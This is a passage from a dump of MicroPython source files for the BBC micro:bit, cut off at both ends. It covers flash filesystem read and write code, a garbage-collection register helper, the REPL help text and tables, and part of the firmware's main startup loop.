+= n;\n    if (self->seek_offset == DATA_PER_CHUNK) {\n        self->seek_offset = 0;\n        if (write) {\n            uint8_t next_chunk = find_chunk_and_erase();\n            if (next_chunk == FILE_NOT_FOUND) {\n                clear_file(self->start_chunk);\n                self->open = false;\n                return ENOSPC;\n            }\n            /* Link next chunk to this one */\n            persistent_write_byte_unchecked(&(file_system_chunks[self->seek_chunk].next_chunk), next_chunk);\n            persistent_write_byte_unchecked(&(file_system_chunks[next_chunk].marker), self->seek_chunk);\n        }\n        self->seek_chunk = file_system_chunks[self->seek_chunk].next_chunk;\n    }\n    DEBUG((\"FILE DEBUG: Advanced to chunk %d, offset %d.\\r\\n\", self->seek_chunk, self->seek_offset));\n    return 0;\n}\n\nmp_uint_t microbit_file_read(mp_obj_t obj, void *buf, mp_uint_t size, int *errcode) {\n    file_descriptor_obj *self = (file_descriptor_obj *)obj;\n    check_file_open(self);\n    if (self->writable || file_system_chunks[self->start_chunk].marker == FREED_CHUNK) {\n        *errcode = EBADF;\n        return MP_STREAM_ERROR;\n    }\n    uint32_t bytes_read = 0;\n    uint8_t *data = buf;\n    while (1) {\n        mp_uint_t to_read = DATA_PER_CHUNK - self->seek_offset;\n        if (file_system_chunks[self->seek_chunk].next_chunk == UNUSED_CHUNK) {\n            uint8_t end_offset = file_system_chunks[self->start_chunk].header.end_offset;\n            if (end_offset == UNUSED_CHUNK) {\n                to_read = 0;\n            } else {\n                to_read = min(to_read, (mp_uint_t)end_offset-self->seek_offset);\n            }\n        }\n        to_read = min(to_read, size-bytes_read);\n        if (to_read == 0) {\n            break;\n        }\n        memcpy(data+bytes_read, seek_address(self), to_read);\n        advance(self, to_read, false);\n        bytes_read += to_read;\n    }\n    return bytes_read;\n}\n\nmp_uint_t microbit_file_write(mp_obj_t obj, const void *buf, mp_uint_t size, int *errcode) {\n    file_descriptor_obj *self = (file_descriptor_obj *)obj;\n    check_file_open(self);\n    if (!self->writable || file_system_chunks[self->start_chunk].marker == FREED_CHUNK) {\n        *errcode = EBADF;\n        return MP_STREAM_ERROR;\n    }\n    uint32_t len = size;\n    const uint8_t *data = buf;\n    while (len) {\n        uint32_t to_write = min(((uint32_t)(DATA_PER_CHUNK - self->seek_offset)), len);\n        persistent_write_unchecked(seek_address(self), data, to_write);\n        int err = advance(self, to_write, true);\n        if (err) {\n            *errcode = err;\n            return MP_STREAM_ERROR;\n        }\n        data += to_write;\n        len -= to_write;\n    }\n    return size;\n}\n\nvoid microbit_file_close(file_descriptor_obj *fd) {\n    if (fd->writable) {\n        persistent_write_byte_unchecked(&(file_system_chunks[fd->start_chunk].header.end_offset), fd->seek_offset);\n    }\n    fd->open = false;\n}\n\nmp_obj_t microbit_file_list(void) {\n    mp_obj_t res = mp_obj_new_list(0, NULL);\n    for (uint8_t index = 1; index <= chunks_in_file_system; index++) {\n        if (file_system_chunks[index].marker == FILE_START) {\n            mp_obj_t name = mp_obj_new_str(&file_system_chunks[index].header.filename[0], file_system_chunks[index].header.name_len, false);\n            mp_obj_list_append(res, name);\n        }\n    }\n    return res;\n}\n\nmp_obj_t microbit_file_size(mp_obj_t filename) {\n    mp_uint_t name_len;\n    const char *name = mp_obj_str_get_data(filename, &name_len);\n    uint8_t chunk = microbit_find_file(name, name_len);\n    if (chunk == 255) {\n        mp_raise_msg(&mp_type_OSError, \"file not found\");\n    }\n    mp_uint_t len = 0;\n    uint8_t end_offset = file_system_chunks[chunk].header.end_offset;\n    uint8_t offset = file_system_chunks[chunk].header.name_len+2;\n    while (file_system_chunks[chunk].next_chunk != UNUSED_CHUNK) {\n        len += DATA_PER_CHUNK - offset;\n        chunk = file_system_chunks[chunk].next_chunk;\n        offset = 0;\n    }\n    len += end_offset - offset;\n    return mp_obj_new_int(len);\n}\n\nstatic mp_uint_t file_read_byte(void *fd_in) {\n    file_descriptor_obj *fd = fd_in;\n    if (file_system_chunks[fd->seek_chunk].next_chunk == UNUSED_CHUNK) {\n        uint8_t end_offset = file_system_chunks[fd->start_chunk].header.end_offset;\n        if (end_offset == UNUSED_CHUNK || fd->seek_offset == end_offset) {\n            return (mp_uint_t)-1;\n        }\n    }\n    mp_uint_t res = file_system_chunks[fd->seek_chunk].data[fd->seek_offset];\n    advance(fd, 1, false);\n    return res;\n}\n\nmp_lexer_t *microbit_file_lexer(qstr src_name, file_descriptor_obj *fd) {\n    mp_reader_t reader = {fd, file_read_byte, (void(*)(void*))microbit_file_close};\n    return mp_lexer_new(src_name, reader);\n}\n\nmp_lexer_t *mp_lexer_new_from_file(const char *filename) {\n    file_descriptor_obj *fd = microbit_file_open(filename, strlen(filename), false, false);\n    if (fd == NULL)\n        return NULL;\n    return microbit_file_lexer(qstr_from_str(filename), fd);\n}\n"
  },
  {
    "path": "micropython/source/microbit/gccollect.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015-2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/mpstate.h\"\n#include \"py/gc.h\"\n\n__attribute__((naked)) uint32_t gc_helper_get_regs_and_sp(uint32_t *regs) {\n    (void)regs;\n\n    // store registers into given array and return the stack pointer\n    __asm volatile (\n    \"str    r4, [r0, #0]\\n\"\n    \"str    r5, [r0, #4]\\n\"\n    \"str    r6, [r0, #8]\\n\"\n    \"str    r7, [r0, #12]\\n\"\n    \"mov    r1, r8\\n\"\n    \"str    r1, [r0, #16]\\n\"\n    \"mov    r1, r9\\n\"\n    \"str    r1, [r0, #20]\\n\"\n    \"mov    r1, r10\\n\"\n    \"str    r1, [r0, #24]\\n\"\n    \"mov    r1, r11\\n\"\n    \"str    r1, [r0, #28]\\n\"\n    \"mov    r1, r12\\n\"\n    \"str    r1, [r0, #32]\\n\"\n    \"mov    r1, r13\\n\"\n    \"str    r1, [r0, #36]\\n\"\n    \"mov    r0, sp\\n\"\n    \"bx     lr\\n\"\n    );\n}\n\nvoid gc_collect(void) {\n    gc_collect_start();\n\n    // get the registers and the sp\n    uint32_t regs[10];\n    uint32_t sp = gc_helper_get_regs_and_sp(regs);\n\n    // trace the stack, including the registers (since they live on the stack in this function)\n    gc_collect_root((void**)sp, ((uint32_t)MP_STATE_THREAD(stack_top) - sp) / sizeof(uint32_t));\n\n    gc_collect_end();\n}\n"
  },
  {
    "path": "micropython/source/microbit/help.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/builtin.h\"\n#include \"py/stream.h\"\n#include \"microbit/modmicrobit.h\"\n\nconst char *microbit_help_text =\n\"Welcome to MicroPython on the micro:bit!\\n\"\n\"\\n\"\n\"Try these commands:\\n\"\n\"  display.scroll('Hello')\\n\"\n\"  running_time()\\n\"\n\"  sleep(1000)\\n\"\n\"  button_a.is_pressed()\\n\"\n\"What do these commands do? Can you improve them? HINT: use the up and down\\n\"\n\"arrow keys to get your command history. Press the TAB key to auto-complete\\n\"\n\"unfinished words (so 'di' becomes 'display' after you press TAB). These\\n\"\n\"tricks save a lot of typing and look cool!\\n\"\n\"\\n\"\n\"Explore:\\n\"\n\"Type 'help(something)' to find out about it. Type 'dir(something)' to see what\\n\"\n\"it can do. Type 'dir()' to see what stuff is available. For goodness sake,\\n\"\n\"don't type 'import this'.\\n\"\n\"\\n\"\n\"Control commands:\\n\"\n\"  CTRL-C        -- stop a running program\\n\"\n\"  CTRL-D        -- on a blank line, do a soft reset of the micro:bit\\n\"\n\"  CTRL-E        -- enter paste mode, turning off auto-indent\\n\"\n\"\\n\"\n\"For a list of available modules, type help('modules')\\n\"\n\"\\n\"\n\"For more information about Python, visit: http://python.org/\\n\"\n\"To find out about MicroPython, visit: http://micropython.org/\\n\"\n\"Python/micro:bit documentation is here: https://microbit-micropython.readthedocs.io/\\n\"\n;\n\ntypedef struct _mp_doc_t {\n    mp_const_obj_t obj;\n    const char *doc;\n} mp_doc_t;\n\nSTATIC const mp_doc_t help_table_types[] = {\n    {&microbit_accelerometer_type, \"MicroBitAccelerometer type\\n\"},\n};\n\n// Consistency between messages and minimal jargon improves help text.\nSTATIC const mp_doc_t help_table_instances[] = {\n    {&microbit_module, \"Useful stuff to control the micro:bit hardware.\\n\"},\n    // System state objects\n    {&microbit_panic_obj, \"Put micro:bit in panic() mode and display an unhappy face.\\nPress reset button to exit panic() mode.\\n\"},\n    {&microbit_sleep_obj, \"Put micro:bit to sleep(time) for some milliseconds (1 second = 1000 ms) of time.\\nsleep(2000) gives micro:bit a 2 second nap.\\n\"},\n    {&microbit_running_time_obj, \"Return running_time() in milliseconds since micro:bit's last reset.\\n\"},\n    {&microbit_temperature_obj, \"Return micro:bit's temperature in degrees Celcius.\\n\"},\n    // Accelerometer 3D orientation\n    {&microbit_accelerometer_obj, \"Detect micro:bit's movement in 3D.\\nIt measures tilt (X and Y) and up-down (Z) motion.\\n\"},\n    {&microbit_accelerometer_get_x_obj, \"Return micro:bit's tilt (X acceleration) in milli-g's.\\n\"},\n    {&microbit_accelerometer_get_y_obj, \"Return micro:bit's tilt (Y acceleration) in milli-g's.\\n\"},\n    {&microbit_accelerometer_get_z_obj, \"Return micro:bit's up-down motion (Z acceleration) in milli-g's.\\nZ is a positive number when moving up. Moving down, Z is a negative number.\\n\"},\n    // Pushbutton\n    {&microbit_button_a_obj, \"micro:bit's 'A' button. When button is pressed down, is_pressed() is True.\\n\"},\n    {&microbit_button_b_obj, \"micro:bit's 'B' button. When button is pressed down, is_pressed() is True.\\n\"},\n    {&microbit_button_is_pressed_obj, \"If the button is pressed down, is_pressed() is True, else False.\\n\"},\n    {&microbit_button_was_pressed_obj, \"Use was_pressed() to learn if the button was pressed since the last time\\nwas_pressed() was called. Returns True or False.\\n\"},\n    {&microbit_button_get_presses_obj, \"Use get_presses() to get the running total of button presses, and also\\nreset this counter to zero.\\n\"},\n    // Compass 3D direction heading\n    {&microbit_compass_heading_obj, \"Gives a compass heading between 0-360 with 0 as north.\\n\"},\n    {&microbit_compass_obj, \"Use micro:bit's compass to detect the direction it is heading in.\\nThe compass can detect magnetic fields.\\nIt uses the Earth's magnetic field to detect direction.\\n\"},\n    {&microbit_compass_is_calibrated_obj, \"If micro:bit's compass is_calibrated() and adjusted for accuracy, return True.\\nIf compass hasn't been adjusted for accuracy, return False.\\n\"},\n    {&microbit_compass_calibrate_obj, \"If micro:bit is confused, calibrate() the compass to adjust the its accuracy.\\nIt will ask you to rotate the device to draw a circle on the display.\\n\"},\n    {&microbit_compass_clear_calibration_obj, \"Reset micro:bit's compass using clear_calibration() command.\\nRun calibrate() to improve accuracy.\\n\"},\n    {&microbit_compass_get_x_obj, \"Return magnetic field detected along micro:bit's X axis.\\nUsually, the compass returns the earth's magnetic field in micro-Tesla units.\\nUnless...a strong magnet is nearby!\\n\"},\n    {&microbit_compass_get_y_obj, \"Return magnetic field detected along micro:bit's Y axis.\\nUsually, the compass returns the earth's magnetic field in micro-Tesla units.\\nUnless...a strong magnet is nearby!\\n\"},\n    {&microbit_compass_get_z_obj, \"Return magnetic field detected along micro:bit's Z axis.\\nUsually, the compass returns the earth's magnetic field in micro-Tesla units.\\nUnless...a strong magnet is nearby!\\n\"},\n    {&microbit_compass_get_field_strength_obj, \"Return strength of magnetic field around micro:bit.\\n\"},\n    // Display 5x5 LED grid\n    {&microbit_display_obj, \"micro:bit's 5x5 LED display.\\n\"},\n    {&microbit_display_show_obj, \"Use show(x) to print the string or images 'x' to the display. Try show('Hi!').\\nUse show(s, i) to show string 's', one character at a time with a delay of\\n'i' milliseconds.\\n\"},\n    {&microbit_display_scroll_obj, \"Use scroll(s) to scroll the string 's' across the display.\\nUse scroll(s, i) to scroll string 's' with a delay of 'i' milliseconds after\\neach character.\\n\"},\n    {&microbit_display_clear_obj, \"Use clear() to clear micro:bit's display.\\n\"},\n    {&microbit_display_get_pixel_obj, \"Use get_pixel(x, y) to return the display's brightness at LED pixel (x,y).\\nBrightness can be from 0 (LED is off) to 9 (maximum LED brightness).\\n\"},\n    {&microbit_display_set_pixel_obj, \"Use set_pixel(x, y, b) to set the display at LED pixel (x,y) to brightness 'b'\\nwhich can be set between 0 (off) to 9 (full brightness).\\n\"},\n    {&microbit_display_on_obj, \"Use on() to turn on the display.\\n\"},\n    {&microbit_display_off_obj, \"Use off() to turn off the display.\\n\"},\n    {&microbit_display_is_on_obj, \"Use is_on() to query if the micro:bit's display is on (True) or off (False).\\n\"},\n    {&microbit_display_read_light_level_obj, \"Use read_light_level() to get the ambient light level, between 0 (dark) and 255 (bright).\\n\"},\n    // Pins\n    {&microbit_p0_obj, \"micro:bit's pin 0 on the gold edge connector.\\n\"},\n    {&microbit_p1_obj, \"micro:bit's pin 1 on the gold edge connector.\\n\"},\n    {&microbit_p2_obj, \"micro:bit's pin 2 on the gold edge connector.\\n\"},\n    {&microbit_p3_obj, \"micro:bit's pin 3 on the gold edge connector.\\n\"},\n    {&microbit_p4_obj, \"micro:bit's pin 4 on the gold edge connector.\\n\"},\n    {&microbit_p5_obj, \"micro:bit's pin 5 on the gold edge connector.\\n\"},\n    {&microbit_p6_obj, \"micro:bit's pin 6 on the gold edge connector.\\n\"},\n    {&microbit_p7_obj, \"micro:bit's pin 7 on the gold edge connector.\\n\"},\n    {&microbit_p8_obj, \"micro:bit's pin 8 on the gold edge connector.\\n\"},\n    {&microbit_p9_obj, \"micro:bit's pin 9 on the gold edge connector.\\n\"},\n    {&microbit_p10_obj, \"micro:bit's pin 10 on the gold edge connector.\\n\"},\n    {&microbit_p11_obj, \"micro:bit's pin 11 on the gold edge connector.\\n\"},\n    {&microbit_p12_obj, \"micro:bit's pin 12 on the gold edge connector.\\n\"},\n    {&microbit_p13_obj, \"micro:bit's pin 13 on the gold edge connector.\\n\"},\n    {&microbit_p14_obj, \"micro:bit's pin 14 on the gold edge connector.\\n\"},\n    {&microbit_p15_obj, \"micro:bit's pin 15 on the gold edge connector.\\n\"},\n    {&microbit_p16_obj, \"micro:bit's pin 16 on the gold edge connector.\\n\"},\n    {&microbit_p19_obj, \"micro:bit's pin 19 on the gold edge connector.\\n\"},\n    {&microbit_p20_obj, \"micro:bit's pin 20 on the gold edge connector.\\n\"},\n    {&microbit_pin_write_digital_obj, \"micro:bit, write_digital(choice) to the pin. You have two 'choice' values,\\n0 (lo) or 1 (hi).\\n\"},\n    {&microbit_pin_read_digital_obj, \"micro:bit, read_digital() value from the pin as either 0 (lo) or 1 (hi).\\n\"},\n    {&microbit_pin_write_analog_obj, \"micro:bit, write_analog(value) to the pin. You can use any value between\\n0 and 1023.\\n\"},\n    {&microbit_pin_read_analog_obj, \"micro:bit, read_analog() value from the pin. Wow, analog has lots of values\\n(0 - 65535). Digital has only 0 and 1.\\n\"},\n    {&microbit_pin_is_touched_obj, \"If pin is_touched() on micro:bit, return True. If nothing is touching the pin,\\nreturn False.\\n\"},\n    // I2C\n    {&microbit_i2c_obj, \"Communicate with one or more named devices connected to micro:bit. Each named\\ndevice has an 'address', communicates using I2C, and connects to the I/O pins.\\n\"},\n    {&microbit_i2c_read_obj, \"Use read(address, n) to read 'n' bytes from the device with this address.\\n\"},\n    {&microbit_i2c_write_obj, \"Use write(address, buffer) to write to the 'buffer' of the device at this 'address'.\\n\"},\n    {&microbit_i2c_init_obj, \"Use init(frequency, scl, sda) to set the bus frequency and pins.\\n\"},\n    // Image\n    {&microbit_image_type, \"Create and use built-in IMAGES to show on the display. Use:\\nImage(\\n  '09090:'\\n  '99999:'\\n  '99999:'\\n  '09990:'\\n  '00900:')\\n...to make a new 5x5 heart image. Numbers go from 0 (off) to 9 (brightest). Note\\nthe colon ':' to set the end of a row.\\n\"},\n    {&microbit_image_width_obj, \"Return the width of the image in pixels.\\n\"},\n    {&microbit_image_height_obj, \"Return the height of the image in pixels.\\n\"},\n    {&microbit_image_get_pixel_obj, \"Use get_pixel(x, y) to return the image's brightness at LED pixel (x,y).\\nBrightness can be from 0 (LED is off) to 9 (maximum LED brightness).\\n\"},\n    {&microbit_image_set_pixel_obj, \"Use set_pixel(x, y, b) to set the LED pixel (x,y) in the image to brightness\\n'b' which can be set between 0 (off) to 9 (full brightness).\\n\"},\n    {&microbit_image_shift_left_obj, \"Use shift_left(i) to make a copy of the image but moved 'i' pixels to the left.\\n\"},\n    {&microbit_image_shift_right_obj, \"Use shift_right(i) to make a copy of the image but moved 'i' pixels to\\nthe right.\\n\"},\n    {&microbit_image_shift_up_obj, \"Use shift_up(i) to make a copy of the image but moved 'i' pixels up.\\n\"},\n    {&microbit_image_shift_down_obj, \"Use shift_down(i) to make a copy of the image but moved 'i' pixels down.\\n\"},\n    {&microbit_image_copy_obj, \"Use copy() to make a new exact copy of the image.\\n\"},\n    {&microbit_image_crop_obj, \"Use crop(x1, y1, x2, y2) to make a cut-out copy of the image where coordinate\\n(x1,y1) is the top left corner of the cut-out area and coordinate (x2,y2) is the\\nbottom right corner.\\n\"},\n    {&microbit_image_invert_obj, \"Use invert() to make a negative copy of the image. Where a pixel was bright or\\non in the original, it is dim or off in the negative copy.\\n\"},\n    // uart\n    {&microbit_uart_obj, \"Communicate with a serial device connected to micro:bit's I/O pins.\\n\"},\n    {&microbit_uart_init_obj, \"Use init() to set up communication. Use pins 0 (TX) and 1 (RX) with a baud\\nrate of 9600.\\nOverride the defaults for 'baudrate', 'parity' and 'pins'.\\n\"},\n    {&microbit_uart_any_obj, \"If there are incoming characters waiting to be read, any() will return True.\\nOtherwise, returns False.\\n\"},\n    {&mp_stream_read_obj, \"Use read() to read characters.\\nUse read(n) to read, at most, 'n' bytes of data.\\n\"},\n    {&mp_stream_unbuffered_readline_obj, \"Use readline() to read a line that ends with a newline character.\\n\"},\n    {&mp_stream_readinto_obj, \"Use readinto(buf) to read bytes into the buffer 'buf'.\\nUse readinto(buff, n) to read, at most, 'n' number of bytes into 'buf'.\\n\"},\n    {&mp_stream_write_obj, \"Use write(buf) to write the bytes in buffer 'buf' to the connected device.\\n\"},\n    // SPI\n    {&microbit_spi_obj, \"Communicate using a serial peripheral interface (SPI) device connected to\\nmicro:bit's I/O pins.\\n\"},\n    {&microbit_spi_init_obj, \"Use init() to set up communication. Override the defaults for baudrate, mode,\\nSCLK, MOSI and MISO. The default connections are pin13 for SCLK, pin15 for\\nMOSI and pin14 for MISO.\\n\"},\n    {&microbit_spi_write_obj, \"Use write(buf) to write bytes in buffer 'buf' to the connected device.\\n\"},\n    {&microbit_spi_read_obj, \"Use read(n) to read 'n' bytes of data.\\n\"},\n    {&microbit_spi_write_readinto_obj, \"Use write_readinto(out, in) to write the 'out' buffer to the connected device\\nand read any response into the 'in' buffer. The length of the buffers should\\nbe the same. The buffers can be the same object.\\n\"},\n    // Music module\n    {&music_module, \"Plug in a speaker with crocodile clips and make micro:bit go bleep and bloop.\\n\"},\n    {&microbit_music_set_tempo_obj, \"Use set_tempo(number, bpm) to make a beat last a 'number' of ticks long and\\nplayed at 'bpm' beats per minute.\\n\"},\n    {&microbit_music_pitch_obj, \"Use pitch(freq, length) to make micro:bit play a note at 'freq' frequency for\\n'length' milliseconds. E.g. pitch(440, 1000) will play concert 'A' for 1 second.\\n\"},\n    {&microbit_music_play_obj, \"Use play(music) to make micro:bit play 'music' list of notes. Try out the\\nbuilt in music to see how it works. E.g. music.play(music.PUNCHLINE).\\n\"},\n    {&microbit_music_get_tempo_obj, \"Use get_tempo() to return the number of ticks in a beat and number of beats\\nper minute.\\n\"},\n    {&microbit_music_stop_obj, \"Use to stop() the music that is playing.\\n\"},\n    {&microbit_music_reset_obj, \"If things go wrong, reset() the music to its default settings.\\n\"},\n    // Antigravity\n    {&antigravity_module, \"See: http://xkcd.com/353/\\n\"},\n    // This module\n    {&this_module, \"The Zen of Python defines what it is to be Pythonic. It wouldn't fit on this\\ndevice so we've written a Zen of MicroPython instead.\\n\"},\n    {&this_authors_obj, \"Use authors() to reveal the names of the people who created this software.\\n\"},\n    // Love module\n    {&love_module, \"All you need. Use love.badaboom() to repeat the effect.\\n\"},\n    {&love_badaboom_obj, \"Hear my soul speak:\\nThe very instant that I saw you, did\\nMy heart fly to your service.\\n\"},\n};\n\nbool mp_plat_specific_help(mp_obj_t args0) {\n    mp_obj_type_t *args0_type = mp_obj_get_type(args0);\n\n    // see if we have specific help info for this instance\n    for (size_t i = 0; i < MP_ARRAY_SIZE(help_table_instances); i++) {\n        if (args0 == help_table_instances[i].obj) {\n            mp_print_str(&mp_plat_print, help_table_instances[i].doc);\n            //if (args0_type == &mp_type_module) {\n            //TODO here we can list the things inside the module\n            //}\n            return true;\n        }\n    }\n\n    // see if we have specific help info for this type\n    for (size_t i = 0; i < MP_ARRAY_SIZE(help_table_types); i++) {\n        if (args0 == help_table_types[i].obj || args0_type == help_table_types[i].obj) {\n            mp_print_str(&mp_plat_print, help_table_types[i].doc);\n            return true;\n        }\n    }\n\n    return false;\n}\n"
  },
  {
    "path": "micropython/source/microbit/main.cpp",
    "content": "#include \"lib/ticker.h\"\n#include \"lib/pwm.h\"\n#include \"microbit/memory.h\"\n#include \"microbit/filesystem.h\"\n#include \"microbit/microbitdal.h\"\n#include \"MicroBitButton.h\"\n\n// Global instances of the mbed/DAL components that we use\ngpio_t reset_button_gpio;\ngpio_irq_t reset_button_gpio_irq;\nMicroBitDisplay ubit_display;\nMicroPythonI2C ubit_i2c(I2C_SDA0, I2C_SCL0);\n\n// Global pointers to instances of DAL components that are created dynamically\nMicroBitAccelerometer *ubit_accelerometer;\nMicroBitCompass *ubit_compass;\nMicroBitCompassCalibrator *ubit_compass_calibrator;\n\nextern \"C\" {\n\n#include \"py/stackctrl.h\"\n#include \"py/gc.h\"\n#include \"py/compile.h\"\n#include \"py/runtime.h\"\n#include \"py/mphal.h\"\n#include \"lib/mp-readline/readline.h\"\n#include \"lib/utils/pyexec.h\"\n#include \"microbit/modmicrobit.h\"\n#include \"microbit/modmusic.h\"\n\nvoid reset_button_handler(uint32_t data, gpio_irq_event event) {\n    (void)data;\n    if (event == IRQ_FALL) {\n        microbit_reset();\n    }\n}\n\nvoid microbit_ticker(void) {\n    // Update compass if it is calibrating, but not if it is still\n    // updating as compass.idleTick() is not reentrant.\n    if (ubit_compass->isCalibrating() && !compass_updating) {\n        ubit_compass->idleTick();\n    }\n\n    compass_up_to_date = false;\n    accelerometer_up_to_date = false;\n\n    // Update buttons and pins with touch.\n    microbit_button_tick();\n\n    // Update the display.\n    microbit_display_tick();\n\n    // Update the music\n    microbit_music_tick();\n}\n\nstatic void microbit_display_exception(mp_obj_t exc_in) {\n    mp_uint_t n, *values;\n    mp_obj_exception_get_traceback(exc_in, &n, &values);\n    if (1) {\n        vstr_t vstr;\n        mp_print_t print;\n        vstr_init_print(&vstr, 50, &print);\n        #if MICROPY_ENABLE_SOURCE_LINE\n        if (n >= 3) {\n            mp_printf(&print, \"line %u \", values[1]);\n        }\n        #endif\n        if (mp_obj_is_native_exception_instance(exc_in)) {\n            mp_obj_exception_t *exc = (mp_obj_exception_t*)MP_OBJ_TO_PTR(exc_in);\n            mp_printf(&print, \"%q \", exc->base.type->name);\n            if (exc->args != NULL && exc->args->len != 0) {\n                mp_obj_print_helper(&print, exc->args->items[0], PRINT_STR);\n            }\n        }\n        // Allow ctrl-C to stop the scrolling message\n        mp_hal_set_interrupt_char(CHAR_CTRL_C);\n        mp_hal_display_string(vstr_null_terminated_str(&vstr));\n        vstr_clear(&vstr);\n        mp_hal_set_interrupt_char(-1);\n        // This is a variant of mp_handle_pending that swallows exceptions\n        #if MICROPY_ENABLE_SCHEDULER\n        #error Scheduler currently unsupported\n        #endif\n        if (MP_STATE_VM(mp_pending_exception) != MP_OBJ_NULL) {\n            MP_STATE_VM(mp_pending_exception) = MP_OBJ_NULL;\n        }\n    }\n}\n\nstatic void do_lexer(mp_lexer_t *lex) {\n    if (lex == NULL) {\n        printf(\"MemoryError: lexer could not allocate memory\\n\");\n        return;\n    }\n\n    nlr_buf_t nlr;\n    if (nlr_push(&nlr) == 0) {\n        qstr source_name = lex->source_name;\n        mp_parse_tree_t parse_tree = mp_parse(lex, MP_PARSE_FILE_INPUT);\n        mp_obj_t module_fun = mp_compile(&parse_tree, source_name, MP_EMIT_OPT_NONE, false);\n        mp_hal_set_interrupt_char(3); // allow ctrl-C to interrupt us\n        mp_call_function_0(module_fun);\n        mp_hal_set_interrupt_char(-1); // disable interrupt\n        nlr_pop();\n    } else {\n        // uncaught exception\n        mp_hal_set_interrupt_char(-1); // disable interrupt\n\n        // print exception to stdout\n        mp_obj_print_exception(&mp_plat_print, (mp_obj_t)nlr.ret_val);\n\n        // print exception to the display, but not if it's SystemExit or KeyboardInterrupt\n        mp_obj_type_t *exc_type = mp_obj_get_type((mp_obj_t)nlr.ret_val);\n        if (!mp_obj_is_subclass_fast(exc_type, &mp_type_SystemExit)\n            && !mp_obj_is_subclass_fast(exc_type, &mp_type_KeyboardInterrupt)) {\n            microbit_display_exception(nlr.ret_val);\n        }\n    }\n}\n\nstatic void do_strn(const char *src, size_t len) {\n    mp_lexer_t *lex = mp_lexer_new_from_str_len(MP_QSTR___main__, src, len, 0);\n    do_lexer(lex);\n}\n\nstatic void do_file(file_descriptor_obj *fd) {\n    mp_lexer_t *lex = microbit_file_lexer(MP_QSTR___main__, fd);\n    do_lexer(lex);\n}\n\ntypedef struct _appended_script_t {\n    byte header[2]; // should be \"MP\"\n    uint16_t len; // length of script stored little endian\n    char str[]; // data of script\n} appended_script_t;\n\n#define APPENDED_SCRIPT ((const appended_script_t*)microbit_mp_appended_script())\n\nint main(void) {\n    // Configure the soft reset button\n    gpio_init_in(&reset_button_gpio, MICROBIT_PIN_BUTTON_RESET);\n    gpio_mode(&reset_button_gpio, PullUp);\n    gpio_irq_init(&reset_button_gpio_irq, MICROBIT_PIN_BUTTON_RESET, &reset_button_handler, 1 /* dummy, must be non-zero */);\n    gpio_irq_set(&reset_button_gpio_irq, IRQ_FALL, 1);\n\n    // Create dynamically-allocated DAL components\n    ubit_accelerometer = &MicroBitAccelerometer::autoDetect(ubit_i2c);\n    ubit_compass = &MicroBitCompass::autoDetect(ubit_i2c);\n    ubit_compass_calibrator = new MicroBitCompassCalibrator(*ubit_compass, *ubit_accelerometer, ubit_display);\n\n    for (;;) {\n        extern uint32_t __StackTop;\n        static uint32_t mp_heap[10240 / sizeof(uint32_t)];\n\n        // Initialise memory regions: stack and MicroPython heap\n        mp_stack_set_top(&__StackTop);\n        mp_stack_set_limit(1800); // stack is 2k\n        gc_init(mp_heap, (uint8_t*)mp_heap + sizeof(mp_heap));\n\n        // Initialise the MicroPython runtime\n        mp_init();\n        mp_hal_init();\n        readline_init0();\n\n        // Initialise the micro:bit peripherals\n        microbit_seed_random();\n        ubit_display.disable();\n        microbit_display_init();\n        microbit_filesystem_init();\n        microbit_pin_init();\n        microbit_compass_init();\n        pwm_init();\n        MP_STATE_PORT(radio_buf) = NULL;\n\n        // Start our ticker\n        // Note that the DAL has a separate ticker which is also running\n        ticker_init(microbit_ticker);\n        ticker_start();\n        pwm_start();\n\n        // Only run initial script (or import from microbit) if we are in \"friendly REPL\"\n        // mode.  If we are in \"raw REPL\" mode then this will be skipped.\n        if (pyexec_mode_kind == PYEXEC_MODE_FRIENDLY_REPL) {\n            file_descriptor_obj *main_module;\n            if ((main_module = microbit_file_open(\"main.py\", 7, false, false))) {\n                do_file(main_module);\n            } else if (APPENDED_SCRIPT->header[0] == 'M' && APPENDED_SCRIPT->header[1] == 'P') {\n                // run appended script\n                do_strn(APPENDED_SCRIPT->str, APPENDED_SCRIPT->len);\n            } else {\n                // from microbit import *\n                